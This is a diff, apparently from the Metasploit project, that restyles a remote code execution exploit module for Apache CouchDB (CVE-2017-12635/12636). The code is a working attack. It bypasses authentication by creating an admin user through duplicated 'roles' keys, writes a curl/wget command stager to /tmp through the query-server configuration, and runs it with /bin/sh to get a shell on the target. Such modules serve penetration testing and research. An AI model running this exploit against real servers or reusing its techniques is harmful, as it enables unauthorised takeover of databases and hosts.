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@ -24,11 +24,11 @@ class MetasploitModule < Msf::Exploit::Remote
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'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
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],
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'References' => [
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[ 'CVE', '2017-12636'],
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[ 'CVE', '2017-12635'],
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[ 'URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],
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[ 'URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'],
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[ 'URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E']
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['CVE', '2017-12636'],
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['CVE', '2017-12635'],
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['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],
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['URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'],
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['URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E']
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],
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'DisclosureDate' => 'Apr 6 2016',
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'License' => MSF_LICENSE,
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@ -41,12 +41,11 @@ class MetasploitModule < Msf::Exploit::Remote
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},
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'CmdStagerFlavor' => ['curl', 'wget'],
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'Targets' => [
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['Automatic', {} ],
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['Apache CouchDB version 1.x', {} ],
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['Apache CouchDB version 2.x', {} ]
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['Automatic', {}],
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['Apache CouchDB version 1.x', {}],
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['Apache CouchDB version 2.x', {}]
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],
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'DefaultTarget' => 0
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))
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'DefaultTarget' => 0))
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register_options([
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Opt::RPORT(5984),
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@ -58,7 +57,8 @@ class MetasploitModule < Msf::Exploit::Remote
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[
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OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']),
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OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp'])
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])
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]
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)
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end
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def check
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@ -67,9 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote
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return CheckCode::Unknown if version.version.empty?
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vprint_status "Found CouchDB version #{version}"
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if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
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return CheckCode::Appears
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end
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return CheckCode::Appears if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
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CheckCode::Safe
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end
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@ -96,7 +94,7 @@ class MetasploitModule < Msf::Exploit::Remote
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end
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attempts.times do |i|
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print_status("#{peer} - The #{i+1} time to exploit")
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print_status("#{peer} - The #{i + 1} time to exploit")
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send_payload(version)
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Rex.sleep(5)
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# break if we get the shell
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@ -112,7 +110,6 @@ class MetasploitModule < Msf::Exploit::Remote
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# the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization
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# for the newly created user.
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def auth_bypass
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username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12)
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password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12)
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@auth = basic_auth(username, password)
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@ -121,7 +118,7 @@ class MetasploitModule < Msf::Exploit::Remote
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'uri' => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"),
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'method' => 'PUT',
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'ctype' => 'application/json',
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'data' => %Q{{"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"}}
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'data' => %({"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"})
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)
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if res && res.code == 200 && res.get_json_document['ok']
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@ -129,7 +126,6 @@ class MetasploitModule < Msf::Exploit::Remote
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else
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return false
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end
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end
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def get_version
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@ -141,7 +137,6 @@ class MetasploitModule < Msf::Exploit::Remote
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'method' => 'GET',
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'authorization' => @auth
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)
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError => e
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vprint_bad("#{peer} - Connection failed")
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return false
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@ -177,9 +172,7 @@ class MetasploitModule < Msf::Exploit::Remote
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vprint_status("#{peer} - CouchDB version is #{version}") if version
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version = Gem::Version.new(@version)
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case
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# Version not found
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when version.version.empty?
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if version.version.empty?
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vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.")
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# if target set Automatic, exploit failed.
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@ -191,21 +184,19 @@ class MetasploitModule < Msf::Exploit::Remote
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payload2
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end
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when version < Gem::Version.new('1.7.0')
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elsif version < Gem::Version.new('1.7.0')
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payload1
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when version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
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elsif version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
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payload2
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when version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0')
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elsif version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0')
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fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.")
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end
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end
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# Exploit with multi requests
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# payload1 is for the version of couchdb below 1.7.0
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def payload1
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rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
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rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
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rand_db = Rex::Text.rand_text_alpha_lower(4..12)
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@ -218,8 +209,7 @@ class MetasploitModule < Msf::Exploit::Remote
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'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"),
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'method' => 'PUT',
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'authorization' => @auth,
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'data' => %Q{"echo '#{@cmdstager}' > #{rand_file}"}
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'data' => %("echo '#{@cmdstager}' > #{rand_file}")
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)
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res = send_request_cgi(
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@ -232,7 +222,7 @@ class MetasploitModule < Msf::Exploit::Remote
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'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
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'method' => 'PUT',
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'authorization' => @auth,
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'data' => %Q{{"_id": "#{rand_hex}"}}
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'data' => %({"_id": "#{rand_hex}"})
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)
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res = send_request_cgi(
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@ -240,14 +230,14 @@ class MetasploitModule < Msf::Exploit::Remote
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'method' => 'POST',
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'authorization' => @auth,
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'ctype' => 'application/json',
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'data' => %Q{{"language":"#{rand_cmd1}","map":""}}
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'data' => %({"language":"#{rand_cmd1}","map":""})
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)
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res = send_request_cgi(
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'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"),
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'method' => 'PUT',
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'authorization' => @auth,
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'data' => %Q{"/bin/sh #{rand_file}"}
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'data' => %("/bin/sh #{rand_file}")
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)
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res = send_request_cgi(
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@ -255,15 +245,12 @@ class MetasploitModule < Msf::Exploit::Remote
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'method' => 'POST',
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'authorization' => @auth,
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'ctype' => 'application/json',
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'data' => %Q{{"language":"#{rand_cmd2}","map":""}}
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'data' => %({"language":"#{rand_cmd2}","map":""})
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)
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end
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# payload2 is for the version of couchdb below 2.1.1
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def payload2
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rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
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rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
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rand_db = Rex::Text.rand_text_alpha_lower(4..12)
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@ -281,13 +268,11 @@ class MetasploitModule < Msf::Exploit::Remote
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)
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node = res.get_json_document['all_nodes'][0]
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res = send_request_cgi(
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'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"),
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'method' => 'PUT',
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'authorization' => @auth,
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'data' => %Q{"echo '#{@cmdstager}' > #{rand_file}"}
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'data' => %("echo '#{@cmdstager}' > #{rand_file}")
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)
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res = send_request_cgi(
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@ -300,7 +285,7 @@ class MetasploitModule < Msf::Exploit::Remote
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'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
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'method' => 'PUT',
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'authorization' => @auth,
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'data' => %Q{{"_id": "#{rand_hex}"}}
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'data' => %({"_id": "#{rand_hex}"})
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)
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res = send_request_cgi(
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'method' => 'PUT',
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'authorization' => @auth,
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'ctype' => 'application/json',
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'data' => %Q{{"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"}}
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'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"})
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)
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res = send_request_cgi(
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'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"),
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'method' => 'PUT',
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'authorization' => @auth,
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'data' => %Q{"/bin/sh #{rand_file}"}
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'data' => %("/bin/sh #{rand_file}")
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)
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res = send_request_cgi(
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@ -324,7 +308,7 @@ class MetasploitModule < Msf::Exploit::Remote
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'method' => 'PUT',
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'authorization' => @auth,
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'ctype' => 'application/json',
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'data' => %Q{{"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"}}
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'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"})
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)
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end
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@ -338,14 +322,13 @@ class MetasploitModule < Msf::Exploit::Remote
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#
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def on_request_uri(cli, request)
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if (not @cmdstager)
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if !@cmdstager
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print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
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return
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end
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print_status("Sending payload #{datastore['PAYLOAD']}")
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super
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end
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def start_service(opts = {})
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@ -353,7 +336,6 @@ class MetasploitModule < Msf::Exploit::Remote
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@service_url = get_uri
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end
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# mark the exploit successful and clean temp file created during exploiting
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def on_new_session(client)
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# mark flag be true to stop exploit.
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@ -370,9 +352,8 @@ class MetasploitModule < Msf::Exploit::Remote
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client.shell_command_token("rm #{@file_to_clean}")
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end
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vprint_good("Cleaned temp file successful.")
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rescue
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rescue StandardError
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print_warning("Need to clean the temp file #{@file_to_clean} manually.")
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end
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end
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end
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